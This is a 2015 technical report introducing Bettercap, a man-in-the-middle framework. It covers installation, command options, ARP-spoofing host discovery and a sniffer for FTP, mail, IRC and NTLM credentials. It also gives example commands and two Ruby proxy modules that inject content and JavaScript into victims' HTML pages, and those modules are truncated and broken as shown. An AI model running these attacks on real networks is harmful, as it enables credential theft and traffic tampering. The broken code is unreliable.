Bettercap New MITM Framework

Technical Report · August 2015

1 author:

Rajivarnan Raveendradasan
Cyberarch Consulting Group

AKATI CONSULTING GROUP

New MITM Framework Bettercap

A complete, modular, portable and easily extensible MITM framework.

Rajivarnan.R

Bettercap is a complete, modular, portable and easily extensible MITM tool and framework with every kind of diagnostic and offensive feature you could need in order to perform a man in the middle attack.

INSTALLATION

Stable Release (GEM)

```
root@bt: ~
File  Edit  View  Terminal  Help
root@bt:~# gem install bettercap
```

From Source

```
root@bt:~# git clone https://github.com/evilsocket/bettercap
Initialized empty Git repository in /root/bettercap/.git/
remote: Counting objects: 1403, done.
Receiving objects:  54% (765/1403), 436.01 KiB | 144 KiB/s
```

```
root@bt: ~
File  Edit  View  Terminal  Help
root@bt:~# cd bettercap/
```

```
root@bt: ~/bettercap
File  Edit  View  Terminal  Help
root@bt:~/bettercap# gem build bettercap.gemspec
```

```
root@bt: ~/bettercap
File  Edit  View  Terminal  Help
root@bt:~/bettercap# sudo gem install bettercap*.gem
```

All dependencies will be automatically installed through the GEM system, in some case you might need to install some system dependency in order to make everything work:

```
root@bt: ~/bettercap
File Edit View Terminal Help
root@bt:~/bettercap# sudo apt-get install ruby-dev libpcap-dev
```

```
Usage: /usr/local/bin/bettercap [options]
    -I, --interface IFACE            Network interface name - default: eth0
    -S, --spoofer NAME               Spoofer module to use, available: NONE, ARP - default: ARP
    -T, --target ADDRESS1,ADDRESS2   Target IP addresses, if not specified the whole subnet will be targeted.
    -O, --log LOG_FILE               Log all messages into a file, if not specified the log messages will be only print into
the shell.
    -D, --debug                      Enable debug logging.
    -L, --local                      Parse packets coming from/to the address of this computer ( NOTE: Will set -X to true ),
 default to false.
    -X, --sniffer                    Enable sniffer.
        --sniffer-pcap FILE          Save all packets to the specified PCAP file ( will enable sniffer ).
        --sniffer-filter EXPRESSION  Configure the sniffer to use this BPF filter ( will enable sniffer ).
    -P, --parsers PARSERS            Comma separated list of packet parsers to enable, "*" for all ( NOTE: Will set -X to tru
e ), available: POST, MAIL, URL, IRC, HTTPAUTH, HTTPS, FTP, NTLMSS - default: *
        --no-discovery               Do not actively search for hosts, just use the current ARP cache, default to false.
        --no-spoofing                Disable spoofing, alias for --spoofer NONE.
        --half-duplex                Enable half-duplex MITM, this will make bettercap work in those cases when the router is
 not vulnerable.
        --proxy                      Enable HTTP proxy and redirects all HTTP requests to it, default to false.
        --proxy-https                Enable HTTPS proxy and redirects all HTTPS requests to it, default to false.
        --proxy-port PORT            Set HTTP proxy port, default to 8080 .
        --proxy-https-port PORT      Set HTTPS proxy port, default to 8083 .
        --proxy-pem FILE             Use a custom PEM certificate file for the HTTPS proxy.
        --proxy-module MODULE        Ruby proxy module to load.
        --httpd                      Enable HTTP server, default to false.
        --httpd-port PORT            Set HTTP server port, default to 8081.
        --httpd-path PATH            Set HTTP server path, default to ./.
        --check-updates              Will check if any update is available and then exit.
    -h, --help                       Display the available options.
```

FEATURES

Yet another MITM tool? C'mon, really?!!?

This is exactly what you are thinking right now, isn't it? :D But allow yourself to think about it for 5 more minutes ... what you should be really asking is:

Does a complete, modular, portable and easy to extend MITM tool actually exist?

If your answer is "ettercap", let me tell you something:

- ettercap was a great tool, but it made its time.
- We've found ettercap filters to simple not work in many cases as they are outdated and also haven't been maintained as there aren't as many low-level C programmers interested in maintaining it.
- ettercap is freaking unstable on big networks ... If you've tried to use ettercap's host discovery feature on any large network you'll see it simply can't scale well.

- yeah you can see connections and raw pcap stuff, nice toy, but as a professional researcher I want to see only relevant stuff.
- unless you're a C/C++ developer, you can't easily extend ettercap or make your own module.

Indeed you could use more than just one tool ... maybe arpspoof to perform the actual poisoning, mitmproxy to intercept HTTP stuff and inject your payloads and so forth ... I don't know about you, but I hate when I need to use a dozen of tools just to perform one single attack, especially when I need to do some black magic in order to make all of them work on my distro or on OSX ... what about the KISS principle?

HOST DISCOVERY + ARP MAN IN THE MIDDLE

You can target your whole local network or a single targeted local IP address, it doesn't really matter, bettercap arp spoofing capabilities and its multiple hosts discovery agents will do the dirty work for you.

Just launch the tool and wait for it to do its job ... again, KISS!

CREDENTIALS SNIFFER

The built in sniffer is currently able to dissect and print from the network the following informations:

- URLs being visited.
- HTTPS host being visited.
- HTTP POSTed data.
- HTTP Basic and Digest authentications.
- FTP credentials.
- IRC credentials.
- POP, IMAP and SMTP credentials.
- NTLMv1/v2 (HTTP, SMB, LDAP, etc) credentials.

```
[I] Targeting the whole subnet 192.168.1.0..192.168.1.255 ...
[I] Network discovery thread started.
[I] Searching for alive targets ...
[I] Getting gateway 192.168.1.254 MAC address ...
[I] Collected 4 total targets.
[I]   192.168.1.65 : 9c:d3:6d:9e:38:d4 ( Netgear, )
[I]   192.168.1.109 : e4:ce:8f:56:34:4f ( Apple )
[I]   192.168.1.129 : e8:94:f6:1f:65:86 ( Tp-link Technologies Co. )
[I]   192.168.1.253 : 2:24:17:d2:c1:91
```

Examples

Default sniffer mode, all parsers enabled:

sudo bettercap -X

Enable sniffer and load only specified parsers:

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

Enable sniffer + all parsers and parse local traffic as well:

sudo bettercap -X -L

MODULAR TRANSPARENT PROXY

A modular transparent proxy can be started with the --proxy argument, by default it won't do anything but logging HTTP requests, but if you specify a --proxy-module argument you will be able to load your own modules and manipulate HTTP traffic as you like.

You can find some example modules in the dedicated repository.

Examples

Enable proxy on default (8080) port with no modules (quite useless):

sudo bettercap --proxy

Enable proxy and use a custom port:

sudo bettercap --proxy --proxy-port=8081

Enable proxy and load the module hack_title.rb:

sudo bettercap --proxy --proxy-module=hack_title.rb

Disable spoofer and enable proxy (stand alone proxy mode):

sudo bettercap -S NONE –proxy

Modules

You can easily implement a module to inject data into pages or just inspect the requests/responses creating a ruby file and passing it to bettercap with the --proxy-module argument, the following is a sample module that injects some contents into the title tag of each html page.

```
class HackTitle < Proxy::Module

  def on_request( request, response )

    # is it a html page?

    if response.content_type == 'text/html'

      Logger.info "Hacking http://#{request.host}#{request.url} title tag"

      # make sure to use sub! or gsub! to update the instance

      response.body.sub!( '

end end end
```

BUILTIN HTTP SERVER

You want to serve your custom javascript files on the network? Maybe you wanna inject some custom script or image into HTTP responses using a transparent proxy module but you got no public server to use?

A builtin HTTP server comes with bettercap, allowing you to serve custom contents from your own machine without installing and configuring other software such as Apache, nginx or lighttpd.

You could use a proxy module like the following:

```
class InjectJS < Proxy::Module

 def on_request( request, response )

  # is it a html page?

 if response.content_type == 'text/html'

    Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"

    # get the local interface address and HTTPD port

    localaddr = Context.get.iface[:ip_saddr]

    localport = Context.get.options[:httpd_port]

    # inject the js

    response.body.sub!( '', '' )     end  end end
```

```
sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb
```